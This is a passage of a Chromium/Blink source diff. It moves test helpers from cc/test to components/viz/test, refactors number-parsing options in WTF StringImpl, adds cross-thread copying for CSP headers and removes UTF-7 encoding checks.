index 17b6d7f..18e9a94 100644
--- a/third_party/WebKit/Source/platform/network/ContentSecurityPolicyResponseHeaders.h
+++ b/third_party/WebKit/Source/platform/network/ContentSecurityPolicyResponseHeaders.h
@@ -26,6 +26,7 @@
 #ifndef ContentSecurityPolicyResponseHeaders_h
 #define ContentSecurityPolicyResponseHeaders_h
 
+#include "platform/CrossThreadCopier.h"
 #include "platform/PlatformExport.h"
 #include "platform/wtf/Allocator.h"
 #include "platform/wtf/text/WTFString.h"
@@ -33,13 +34,13 @@
 namespace blink {
 
 class ResourceResponse;
+class HTTPHeaderMap;
 
 class PLATFORM_EXPORT ContentSecurityPolicyResponseHeaders final {
-  STACK_ALLOCATED();
-
  public:
   ContentSecurityPolicyResponseHeaders() {}
   explicit ContentSecurityPolicyResponseHeaders(const ResourceResponse&);
+  explicit ContentSecurityPolicyResponseHeaders(const HTTPHeaderMap&);
 
   const String& ContentSecurityPolicy() const {
     return content_security_policy_;
@@ -48,11 +49,23 @@
     return content_security_policy_report_only_;
   }
 
+  ContentSecurityPolicyResponseHeaders IsolatedCopy() const;
+
  private:
   String content_security_policy_;
   String content_security_policy_report_only_;
 };
 
+template <>
+struct CrossThreadCopier<ContentSecurityPolicyResponseHeaders> {
+  STATIC_ONLY(CrossThreadCopier);
+  using Type = ContentSecurityPolicyResponseHeaders;
+  PLATFORM_EXPORT static Type Copy(
+      const ContentSecurityPolicyResponseHeaders& headers) {
+    return headers.IsolatedCopy();
+  }
+};
+
 }  // namespace blink
 
 #endif
diff --git a/third_party/WebKit/Source/platform/scheduler/BUILD.gn b/third_party/WebKit/Source/platform/scheduler/BUILD.gn
index eb43b87..b9a06d4 100644
--- a/third_party/WebKit/Source/platform/scheduler/BUILD.gn
+++ b/third_party/WebKit/Source/platform/scheduler/BUILD.gn
@@ -199,7 +199,8 @@
   deps = [
     "//base",
     "//base/test:test_support",
-    "//cc:test_support",
+    "//components/viz/common",
+    "//components/viz/test:test_support",
     "//skia",
     "//testing/gmock",
     "//testing/gtest",
diff --git a/third_party/WebKit/Source/platform/scheduler/base/DEPS b/third_party/WebKit/Source/platform/scheduler/base/DEPS
index 5333f29..2fab039 100644
--- a/third_party/WebKit/Source/platform/scheduler/base/DEPS
+++ b/third_party/WebKit/Source/platform/scheduler/base/DEPS
@@ -1,5 +1,5 @@
 specific_include_rules = {
   "(test_time_source|.*test)\.cc": [
-    "+cc/test",
+    "+components/viz/test",
   ],
 }
diff --git a/third_party/WebKit/Source/platform/scheduler/base/task_queue_manager_unittest.cc b/third_party/WebKit/Source/platform/scheduler/base/task_queue_manager_unittest.cc
index 13115f9..91a5963 100644
--- a/third_party/WebKit/Source/platform/scheduler/base/task_queue_manager_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/base/task_queue_manager_unittest.cc
@@ -20,7 +20,7 @@
 #include "base/threading/thread_task_runner_handle.h"
 #include "base/trace_event/blame_context.h"
 #include "base/trace_event/trace_buffer.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/real_time_domain.h"
 #include "platform/scheduler/base/task_queue_impl.h"
 #include "platform/scheduler/base/task_queue_manager_delegate_for_test.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/base/time_domain_unittest.cc b/third_party/WebKit/Source/platform/scheduler/base/time_domain_unittest.cc
index 196185d..ef456249 100644
--- a/third_party/WebKit/Source/platform/scheduler/base/time_domain_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/base/time_domain_unittest.cc
@@ -7,7 +7,7 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/task_queue_impl.h"
 #include "platform/scheduler/base/task_queue_manager.h"
 #include "platform/scheduler/base/task_queue_manager_delegate_for_test.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/child/DEPS b/third_party/WebKit/Source/platform/scheduler/child/DEPS
index 12699101..62f1124b 100644
--- a/third_party/WebKit/Source/platform/scheduler/child/DEPS
+++ b/third_party/WebKit/Source/platform/scheduler/child/DEPS
@@ -5,6 +5,6 @@
 
 specific_include_rules = {
   "(test_time_source|.*test)\.cc": [
-    "+cc/test",
+    "+components/viz/test",
   ],
 }
diff --git a/third_party/WebKit/Source/platform/scheduler/child/idle_canceled_delayed_task_sweeper_unittest.cc b/third_party/WebKit/Source/platform/scheduler/child/idle_canceled_delayed_task_sweeper_unittest.cc
index 9190c07..56147c5 100644
--- a/third_party/WebKit/Source/platform/scheduler/child/idle_canceled_delayed_task_sweeper_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/child/idle_canceled_delayed_task_sweeper_unittest.cc
@@ -6,7 +6,7 @@
 
 #include "base/memory/ptr_util.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/lazy_now.h"
 #include "platform/scheduler/base/task_queue.h"
 #include "platform/scheduler/base/test_time_source.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/child/idle_helper_unittest.cc b/third_party/WebKit/Source/platform/scheduler/child/idle_helper_unittest.cc
index 875a88b..5725bff 100644
--- a/third_party/WebKit/Source/platform/scheduler/child/idle_helper_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/child/idle_helper_unittest.cc
@@ -13,7 +13,7 @@
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/real_time_domain.h"
 #include "platform/scheduler/base/task_queue.h"
 #include "platform/scheduler/base/task_queue_manager.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/child/scheduler_helper_unittest.cc b/third_party/WebKit/Source/platform/scheduler/child/scheduler_helper_unittest.cc
index 2b5537e..07ba9f9 100644
--- a/third_party/WebKit/Source/platform/scheduler/child/scheduler_helper_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/child/scheduler_helper_unittest.cc
@@ -10,7 +10,7 @@
 #include "base/message_loop/message_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/lazy_now.h"
 #include "platform/scheduler/base/task_queue.h"
 #include "platform/scheduler/base/test_time_source.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/child/worker_scheduler_impl_unittest.cc b/third_party/WebKit/Source/platform/scheduler/child/worker_scheduler_impl_unittest.cc
index 67331cf5..0f15292 100644
--- a/third_party/WebKit/Source/platform/scheduler/child/worker_scheduler_impl_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/child/worker_scheduler_impl_unittest.cc
@@ -10,7 +10,7 @@
 #include "base/single_thread_task_runner.h"
 #include "base/strings/stringprintf.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/test_time_source.h"
 #include "platform/scheduler/child/scheduler_tqm_delegate_for_test.h"
 #include "testing/gmock/include/gmock/gmock.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/renderer/auto_advancing_virtual_time_domain_unittest.cc b/third_party/WebKit/Source/platform/scheduler/renderer/auto_advancing_virtual_time_domain_unittest.cc
index bd25f1df..69ce39fe 100644
--- a/third_party/WebKit/Source/platform/scheduler/renderer/auto_advancing_virtual_time_domain_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/renderer/auto_advancing_virtual_time_domain_unittest.cc
@@ -6,7 +6,7 @@
 
 #include "base/memory/ptr_util.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/task_queue_manager.h"
 #include "platform/scheduler/base/test_task_time_observer.h"
 #include "platform/scheduler/base/test_time_source.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/renderer/budget_pool_unittest.cc b/third_party/WebKit/Source/platform/scheduler/renderer/budget_pool_unittest.cc
index 822c3e1..e2fd7ddc 100644
--- a/third_party/WebKit/Source/platform/scheduler/renderer/budget_pool_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/renderer/budget_pool_unittest.cc
@@ -12,7 +12,7 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/task_queue_impl.h"
 #include "platform/scheduler/base/test_time_source.h"
 #include "platform/scheduler/child/scheduler_tqm_delegate_for_test.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/renderer/deadline_task_runner_unittest.cc b/third_party/WebKit/Source/platform/scheduler/renderer/deadline_task_runner_unittest.cc
index 64c47bd..e29085c 100644
--- a/third_party/WebKit/Source/platform/scheduler/renderer/deadline_task_runner_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/renderer/deadline_task_runner_unittest.cc
@@ -7,7 +7,7 @@
 #include <memory>
 
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
diff --git a/third_party/WebKit/Source/platform/scheduler/renderer/idle_time_estimator_unittest.cc b/third_party/WebKit/Source/platform/scheduler/renderer/idle_time_estimator_unittest.cc
index 7c087a4f..1446f29b 100644
--- a/third_party/WebKit/Source/platform/scheduler/renderer/idle_time_estimator_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/renderer/idle_time_estimator_unittest.cc
@@ -7,7 +7,7 @@
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/task_queue.h"
 #include "platform/scheduler/base/task_queue_manager.h"
 #include "platform/scheduler/base/test_task_time_observer.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/renderer/renderer_scheduler_impl_unittest.cc b/third_party/WebKit/Source/platform/scheduler/renderer/renderer_scheduler_impl_unittest.cc
index e62e2fd..a09abcc 100644
--- a/third_party/WebKit/Source/platform/scheduler/renderer/renderer_scheduler_impl_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/renderer/renderer_scheduler_impl_unittest.cc
@@ -14,8 +14,8 @@
 #include "base/single_thread_task_runner.h"
 #include "base/test/histogram_tester.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/WebTaskRunner.h"
 #include "platform/scheduler/base/real_time_domain.h"
 #include "platform/scheduler/base/test_time_source.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/renderer/task_queue_throttler_unittest.cc b/third_party/WebKit/Source/platform/scheduler/renderer/task_queue_throttler_unittest.cc
index ea861d3c..84f6234 100644
--- a/third_party/WebKit/Source/platform/scheduler/renderer/task_queue_throttler_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/renderer/task_queue_throttler_unittest.cc
@@ -12,7 +12,7 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/scheduler/base/real_time_domain.h"
 #include "platform/scheduler/base/task_queue_impl.h"
 #include "platform/scheduler/base/test_time_source.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/renderer/web_frame_scheduler_impl_unittest.cc b/third_party/WebKit/Source/platform/scheduler/renderer/web_frame_scheduler_impl_unittest.cc
index 1769afc..783d21b 100644
--- a/third_party/WebKit/Source/platform/scheduler/renderer/web_frame_scheduler_impl_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/renderer/web_frame_scheduler_impl_unittest.cc
@@ -9,7 +9,7 @@
 #include "base/callback.h"
 #include "base/memory/ptr_util.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/RuntimeEnabledFeatures.h"
 #include "platform/WebTaskRunner.h"
 #include "platform/scheduler/base/test_time_source.h"
diff --git a/third_party/WebKit/Source/platform/scheduler/renderer/web_view_scheduler_impl_unittest.cc b/third_party/WebKit/Source/platform/scheduler/renderer/web_view_scheduler_impl_unittest.cc
index 7ebaf18..8b2c2992 100644
--- a/third_party/WebKit/Source/platform/scheduler/renderer/web_view_scheduler_impl_unittest.cc
+++ b/third_party/WebKit/Source/platform/scheduler/renderer/web_view_scheduler_impl_unittest.cc
@@ -12,7 +12,7 @@
 #include "base/metrics/field_trial_param_associator.h"
 #include "base/metrics/field_trial_params.h"
 #include "base/test/simple_test_tick_clock.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "platform/WebTaskRunner.h"
 #include "platform/scheduler/base/test_time_source.h"
 #include "platform/scheduler/child/scheduler_tqm_delegate_for_test.h"
diff --git a/third_party/WebKit/Source/platform/testing/DEPS b/third_party/WebKit/Source/platform/testing/DEPS
index 5309374..8993c42d8 100644
--- a/third_party/WebKit/Source/platform/testing/DEPS
+++ b/third_party/WebKit/Source/platform/testing/DEPS
@@ -12,5 +12,6 @@
     "+base/metrics/statistics_recorder.h",
     "+base/test/test_io_thread.h",
     "+cc",
+    "+components/viz/test",
     "+mojo/edk/embedder",
 ]
diff --git a/third_party/WebKit/Source/platform/testing/PlatformTestPrinters.cpp b/third_party/WebKit/Source/platform/testing/PlatformTestPrinters.cpp
index e5dbd704..f386751f 100644
--- a/third_party/WebKit/Source/platform/testing/PlatformTestPrinters.cpp
+++ b/third_party/WebKit/Source/platform/testing/PlatformTestPrinters.cpp
@@ -13,7 +13,7 @@
 namespace blink {
 
 std::ostream& operator<<(std::ostream& os, const ResourceError& error) {
-  return os << "domain = " << error.Domain()
+  return os << "domain = " << error.GetDomain()
             << ", errorCode = " << error.ErrorCode()
             << ", failingURL = " << error.FailingURL()
             << ", localizedDescription = " << error.LocalizedDescription()
diff --git a/third_party/WebKit/Source/platform/testing/TestingPlatformSupport.cpp b/third_party/WebKit/Source/platform/testing/TestingPlatformSupport.cpp
index 3f7c83e..b6306d4 100644
--- a/third_party/WebKit/Source/platform/testing/TestingPlatformSupport.cpp
+++ b/third_party/WebKit/Source/platform/testing/TestingPlatformSupport.cpp
@@ -39,7 +39,7 @@
 #include "base/test/icu_test_util.h"
 #include "base/test/test_discardable_memory_allocator.h"
 #include "cc/blink/web_compositor_support_impl.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "mojo/public/cpp/bindings/strong_binding.h"
 #include "platform/FontFamilyNames.h"
 #include "platform/HTTPNames.h"
diff --git a/third_party/WebKit/Source/platform/testing/TestingPlatformSupport.h b/third_party/WebKit/Source/platform/testing/TestingPlatformSupport.h
index 5850699..a6cfa93 100644
--- a/third_party/WebKit/Source/platform/testing/TestingPlatformSupport.h
+++ b/third_party/WebKit/Source/platform/testing/TestingPlatformSupport.h
@@ -218,6 +218,8 @@
   const T* operator->() const { return testing_platform_support_.get(); }
   T* operator->() { return testing_platform_support_.get(); }
 
+  T* GetTestingPlatformSupport() { return testing_platform_support_.get(); }
+
  private:
   std::unique_ptr<T> testing_platform_support_;
   Platform* original_platform_;
diff --git a/third_party/WebKit/Source/platform/testing/UnitTestHelpers.cpp b/third_party/WebKit/Source/platform/testing/UnitTestHelpers.cpp
index 78efa4a..20d33ee 100644
--- a/third_party/WebKit/Source/platform/testing/UnitTestHelpers.cpp
+++ b/third_party/WebKit/Source/platform/testing/UnitTestHelpers.cpp
@@ -27,7 +27,6 @@
 
 #include "base/files/file_path.h"
 #include "base/files/file_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "platform/SharedBuffer.h"
@@ -76,7 +75,7 @@
 }
 
 void ExitRunLoop() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void YieldCurrentThread() {
diff --git a/third_party/WebKit/Source/platform/weborigin/SchemeRegistry.h b/third_party/WebKit/Source/platform/weborigin/SchemeRegistry.h
index 7a62412..a568b97d 100644
--- a/third_party/WebKit/Source/platform/weborigin/SchemeRegistry.h
+++ b/third_party/WebKit/Source/platform/weborigin/SchemeRegistry.h
@@ -62,7 +62,6 @@
   static void RegisterURLSchemeAsSecure(const String&);
   static bool ShouldTreatURLSchemeAsSecure(const String&);
 
-  static void RegisterURLSchemeAsNoAccess(const String&);
   static bool ShouldTreatURLSchemeAsNoAccess(const String&);
 
   // Display-isolated schemes can only be displayed (in the sense of
@@ -88,7 +87,6 @@
       const String& scheme);
 
   // Allow non-HTTP schemes to be registered to allow CORS requests.
-  static void RegisterURLSchemeAsCORSEnabled(const String& scheme);
   static bool ShouldTreatURLSchemeAsCORSEnabled(const String& scheme);
 
   // Serialize the registered schemes in a comma-separated list.
diff --git a/third_party/WebKit/Source/platform/wtf/BUILD.gn b/third_party/WebKit/Source/platform/wtf/BUILD.gn
index 35b2c7c..166a400 100644
--- a/third_party/WebKit/Source/platform/wtf/BUILD.gn
+++ b/third_party/WebKit/Source/platform/wtf/BUILD.gn
@@ -182,6 +182,7 @@
     "text/CharacterNames.h",
     "text/Collator.h",
     "text/IntegerToStringConversion.h",
+    "text/NumberParsingOptions.h",
     "text/ParsingUtilities.h",
     "text/StringBuffer.h",
     "text/StringBuilder.cpp",
diff --git a/third_party/WebKit/Source/platform/wtf/text/NumberParsingOptions.h b/third_party/WebKit/Source/platform/wtf/text/NumberParsingOptions.h
new file mode 100644
index 0000000..efd11d4
--- /dev/null
+++ b/third_party/WebKit/Source/platform/wtf/text/NumberParsingOptions.h
@@ -0,0 +1,51 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef NumberParsingOptions_h
+#define NumberParsingOptions_h
+
+#include "base/logging.h"
+
+namespace WTF {
+
+// Copyable and immutable object representing number parsing flags.
+class NumberParsingOptions {
+ public:
+  static constexpr unsigned kNone = 0;
+  static constexpr unsigned kAcceptTrailingGarbage = 1;
+  static constexpr unsigned kAcceptLeadingPlus = 1 << 1;
+  static constexpr unsigned kAcceptLeadingTrailingWhitespace = 1 << 2;
+  static constexpr unsigned kAcceptMinusZeroForUnsigned = 1 << 3;
+
+  // 'Strict' behavior for WTF::String.
+  static constexpr unsigned kStrict =
+      kAcceptLeadingPlus | kAcceptLeadingTrailingWhitespace;
+  // Non-'Strict' behavior for WTF::String.
+  static constexpr unsigned kLoose = kStrict | kAcceptTrailingGarbage;
+
+  // This constructor allows implicit conversion from unsigned.
+  NumberParsingOptions(unsigned options) : options_(options) {
+    DCHECK_LT(options, 1u << 4) << "NumberParsingOptions should be built with "
+                                   "a combination of "
+                                   "NumberParsingOptions::kFoo constants.";
+  }
+
+  bool AcceptTrailingGarbage() const {
+    return options_ & kAcceptTrailingGarbage;
+  }
+  bool AcceptLeadingPlus() const { return options_ & kAcceptLeadingPlus; }
+  bool AcceptWhitespace() const {
+    return options_ & kAcceptLeadingTrailingWhitespace;
+  }
+  bool AcceptMinusZeroForUnsigned() const {
+    return options_ & kAcceptMinusZeroForUnsigned;
+  }
+
+ private:
+  unsigned options_;
+};
+
+}  // namespace WTF
+
+#endif  // NumberParsingOptions_h
diff --git a/third_party/WebKit/Source/platform/wtf/text/StringImpl.cpp b/third_party/WebKit/Source/platform/wtf/text/StringImpl.cpp
index 37c55dbc..2dce1b69 100644
--- a/third_party/WebKit/Source/platform/wtf/text/StringImpl.cpp
+++ b/third_party/WebKit/Source/platform/wtf/text/StringImpl.cpp
@@ -952,22 +952,16 @@
       UCharPredicate(is_white_space), strip_behavior);
 }
 
-int StringImpl::ToIntStrict(bool* ok) {
-  if (Is8Bit()) {
-    return CharactersToInt(Characters8(), length_,
-                           NumberParsingOptions::kStrict, ok);
-  }
-  return CharactersToInt(Characters16(), length_, NumberParsingOptions::kStrict,
-                         ok);
+int StringImpl::ToInt(NumberParsingOptions options, bool* ok) const {
+  if (Is8Bit())
+    return CharactersToInt(Characters8(), length_, options, ok);
+  return CharactersToInt(Characters16(), length_, options, ok);
 }
 
-unsigned StringImpl::ToUIntStrict(bool* ok) {
-  if (Is8Bit()) {
-    return CharactersToUInt(Characters8(), length_,
-                            NumberParsingOptions::kStrict, ok);
-  }
-  return CharactersToUInt(Characters16(), length_,
-                          NumberParsingOptions::kStrict, ok);
+unsigned StringImpl::ToUInt(NumberParsingOptions options, bool* ok) const {
+  if (Is8Bit())
+    return CharactersToUInt(Characters8(), length_, options, ok);
+  return CharactersToUInt(Characters16(), length_, options, ok);
 }
 
 unsigned StringImpl::HexToUIntStrict(bool* ok) {
@@ -979,58 +973,16 @@
                              NumberParsingOptions::kStrict, ok);
 }
 
-int64_t StringImpl::ToInt64Strict(bool* ok) {
-  if (Is8Bit()) {
-    return CharactersToInt64(Characters8(), length_,
-                             NumberParsingOptions::kStrict, ok);
-  }
-  return CharactersToInt64(Characters16(), length_,
-                           NumberParsingOptions::kStrict, ok);
+int64_t StringImpl::ToInt64(NumberParsingOptions options, bool* ok) const {
+  if (Is8Bit())
+    return CharactersToInt64(Characters8(), length_, options, ok);
+  return CharactersToInt64(Characters16(), length_, options, ok);
 }
 
-uint64_t StringImpl::ToUInt64Strict(bool* ok) {
-  if (Is8Bit()) {
-    return CharactersToUInt64(Characters8(), length_,
-                              NumberParsingOptions::kStrict, ok);
-  }
-  return CharactersToUInt64(Characters16(), length_,
-                            NumberParsingOptions::kStrict, ok);
-}
-
-int StringImpl::ToInt(bool* ok) {
-  if (Is8Bit()) {
-    return CharactersToInt(Characters8(), length_, NumberParsingOptions::kLoose,
-                           ok);
-  }
-  return CharactersToInt(Characters16(), length_, NumberParsingOptions::kLoose,
-                         ok);
-}
-
-unsigned StringImpl::ToUInt(bool* ok) {
-  if (Is8Bit()) {
-    return CharactersToUInt(Characters8(), length_,
-                            NumberParsingOptions::kLoose, ok);
-  }
-  return CharactersToUInt(Characters16(), length_, NumberParsingOptions::kLoose,
-                          ok);
-}
-
-int64_t StringImpl::ToInt64(bool* ok) {
-  if (Is8Bit()) {
-    return CharactersToInt64(Characters8(), length_,
-                             NumberParsingOptions::kLoose, ok);
-  }
-  return CharactersToInt64(Characters16(), length_,
-                           NumberParsingOptions::kLoose, ok);
-}
-
-uint64_t StringImpl::ToUInt64(bool* ok) {
-  if (Is8Bit()) {
-    return CharactersToUInt64(Characters8(), length_,
-                              NumberParsingOptions::kLoose, ok);
-  }
-  return CharactersToUInt64(Characters16(), length_,
-                            NumberParsingOptions::kLoose, ok);
+uint64_t StringImpl::ToUInt64(NumberParsingOptions options, bool* ok) const {
+  if (Is8Bit())
+    return CharactersToUInt64(Characters8(), length_, options, ok);
+  return CharactersToUInt64(Characters16(), length_, options, ok);
 }
 
 double StringImpl::ToDouble(bool* ok) {
diff --git a/third_party/WebKit/Source/platform/wtf/text/StringImpl.h b/third_party/WebKit/Source/platform/wtf/text/StringImpl.h
index 9a02085..e1a1483 100644
--- a/third_party/WebKit/Source/platform/wtf/text/StringImpl.h
+++ b/third_party/WebKit/Source/platform/wtf/text/StringImpl.h
@@ -34,6 +34,7 @@
 #include "platform/wtf/Vector.h"
 #include "platform/wtf/WTFExport.h"
 #include "platform/wtf/text/ASCIIFastPath.h"
+#include "platform/wtf/text/NumberParsingOptions.h"
 #include "platform/wtf/text/Unicode.h"
 
 #if DCHECK_IS_ON()
@@ -306,21 +307,17 @@
 
   bool ContainsOnlyWhitespace();
 
-  int ToIntStrict(bool* ok = 0);
-  unsigned ToUIntStrict(bool* ok = 0);
+  int ToInt(NumberParsingOptions, bool* ok) const;
+  unsigned ToUInt(NumberParsingOptions, bool* ok) const;
+  int64_t ToInt64(NumberParsingOptions, bool* ok) const;
+  uint64_t ToUInt64(NumberParsingOptions, bool* ok) const;
+
   unsigned HexToUIntStrict(bool* ok);
-  int64_t ToInt64Strict(bool* ok = 0);
-  uint64_t ToUInt64Strict(bool* ok = 0);
 
-  int ToInt(bool* ok = 0);          // ignores trailing garbage
-  unsigned ToUInt(bool* ok = 0);    // ignores trailing garbage
-  int64_t ToInt64(bool* ok = 0);    // ignores trailing garbage
-  uint64_t ToUInt64(bool* ok = 0);  // ignores trailing garbage
-
-  // FIXME: Like the strict functions above, these give false for "ok" when
-  // there is trailing garbage.  Like the non-strict functions above, these
-  // return the value when there is trailing garbage.  It would be better if
-  // these were more consistent with the above functions instead.
+  // FIXME: Like NumberParsingOptions::kStrict, these give false for "ok" when
+  // there is trailing garbage.  Like NumberParsingOptions::kLoose, these return
+  // the value when there is trailing garbage.  It would be better if these were
+  // more consistent with the above functions instead.
   double ToDouble(bool* ok = 0);
   float ToFloat(bool* ok = 0);
 
diff --git a/third_party/WebKit/Source/platform/wtf/text/StringToNumber.h b/third_party/WebKit/Source/platform/wtf/text/StringToNumber.h
index f5ed61b..2620578 100644
--- a/third_party/WebKit/Source/platform/wtf/text/StringToNumber.h
+++ b/third_party/WebKit/Source/platform/wtf/text/StringToNumber.h
@@ -6,47 +6,11 @@
 #define WTF_StringToNumber_h
 
 #include "platform/wtf/WTFExport.h"
+#include "platform/wtf/text/NumberParsingOptions.h"
 #include "platform/wtf/text/Unicode.h"
 
 namespace WTF {
 
-// Copyable and immutable object representing number parsing flags.
-class NumberParsingOptions {
- public:
-  static constexpr unsigned kNone = 0;
-  static constexpr unsigned kAcceptTrailingGarbage = 1;
-  static constexpr unsigned kAcceptLeadingPlus = 1 << 1;
-  static constexpr unsigned kAcceptLeadingTrailingWhitespace = 1 << 2;
-  static constexpr unsigned kAcceptMinusZeroForUnsigned = 1 << 3;
-
-  // 'Strict' behavior for String/StringImpl.
-  static constexpr unsigned kStrict =
-      kAcceptLeadingPlus | kAcceptLeadingTrailingWhitespace;
-  // Non-'Strict' behavior for String/StringImpl.
-  static constexpr unsigned kLoose = kStrict | kAcceptTrailingGarbage;
-
-  // This constructor allows implicit conversion from unsigned.
-  NumberParsingOptions(unsigned options) : options_(options) {
-    DCHECK_LT(options, 1u << 4) << "NumberParsingOptions should be built with "
-                                   "a combination of "
-                                   "NumberParsingOptions::kFoo constants.";
-  }
-
-  bool AcceptTrailingGarbage() const {
-    return options_ & kAcceptTrailingGarbage;
-  }
-  bool AcceptLeadingPlus() const { return options_ & kAcceptLeadingPlus; }
-  bool AcceptWhitespace() const {
-    return options_ & kAcceptLeadingTrailingWhitespace;
-  }
-  bool AcceptMinusZeroForUnsigned() const {
-    return options_ & kAcceptMinusZeroForUnsigned;
-  }
-
- private:
-  unsigned options_;
-};
-
 enum class NumberParsingResult {
   kSuccess,
   kError,
diff --git a/third_party/WebKit/Source/platform/wtf/text/TextEncoding.cpp b/third_party/WebKit/Source/platform/wtf/text/TextEncoding.cpp
index 7db71dc5..4408f27 100644
--- a/third_party/WebKit/Source/platform/wtf/text/TextEncoding.cpp
+++ b/third_party/WebKit/Source/platform/wtf/text/TextEncoding.cpp
@@ -36,12 +36,6 @@
 
 namespace WTF {
 
-static const TextEncoding& UTF7Encoding() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const TextEncoding, global_utf7_encoding,
-                                  ("UTF-7"));
-  return global_utf7_encoding;
-}
-
 TextEncoding::TextEncoding(const char* name)
     : name_(AtomicCanonicalTextEncodingName(name)) {
 }
@@ -98,13 +92,6 @@
          *this == UTF16BigEndianEncoding();
 }
 
-bool TextEncoding::IsUTF7Encoding() const {
-  if (NoExtendedTextEncodingNameUsed())
-    return false;
-
-  return *this == UTF7Encoding();
-}
-
 const TextEncoding& TextEncoding::ClosestByteBasedEquivalent() const {
   if (IsNonByteBasedEncoding())
     return UTF8Encoding();
@@ -113,10 +100,9 @@
 
 // HTML5 specifies that UTF-8 be used in form submission when a form is is a
 // part of a document in UTF-16 probably because UTF-16 is not a byte-based
-// encoding and can contain 0x00. In case of UTF-7, it is a byte-based
-// encoding, but it's fraught with problems and we'd rather steer clear of it.
+// encoding and can contain 0x00.
 const TextEncoding& TextEncoding::EncodingForFormSubmission() const {
-  if (IsNonByteBasedEncoding() || IsUTF7Encoding())
+  if (IsNonByteBasedEncoding())
     return UTF8Encoding();
   return *this;
 }
diff --git a/third_party/WebKit/Source/platform/wtf/text/TextEncoding.h b/third_party/WebKit/Source/platform/wtf/text/TextEncoding.h
index db0f0a44..e2ac5dd 100644
--- a/third_party/WebKit/Source/platform/wtf/text/TextEncoding.h
+++ b/third_party/WebKit/Source/platform/wtf/text/TextEncoding.h
@@ -62,8 +62,6 @@
   bool IsNonByteBasedEncoding() const;
 
  private:
-  bool IsUTF7Encoding() const;
-
   const char* name_;
 };
 
diff --git a/third_party/WebKit/Source/platform/wtf/text/TextEncodingRegistry.cpp b/third_party/WebKit/Source/platform/wtf/text/TextEncodingRegistry.cpp
index 7e4c1339..747749c 100644
--- a/third_party/WebKit/Source/platform/wtf/text/TextEncodingRegistry.cpp
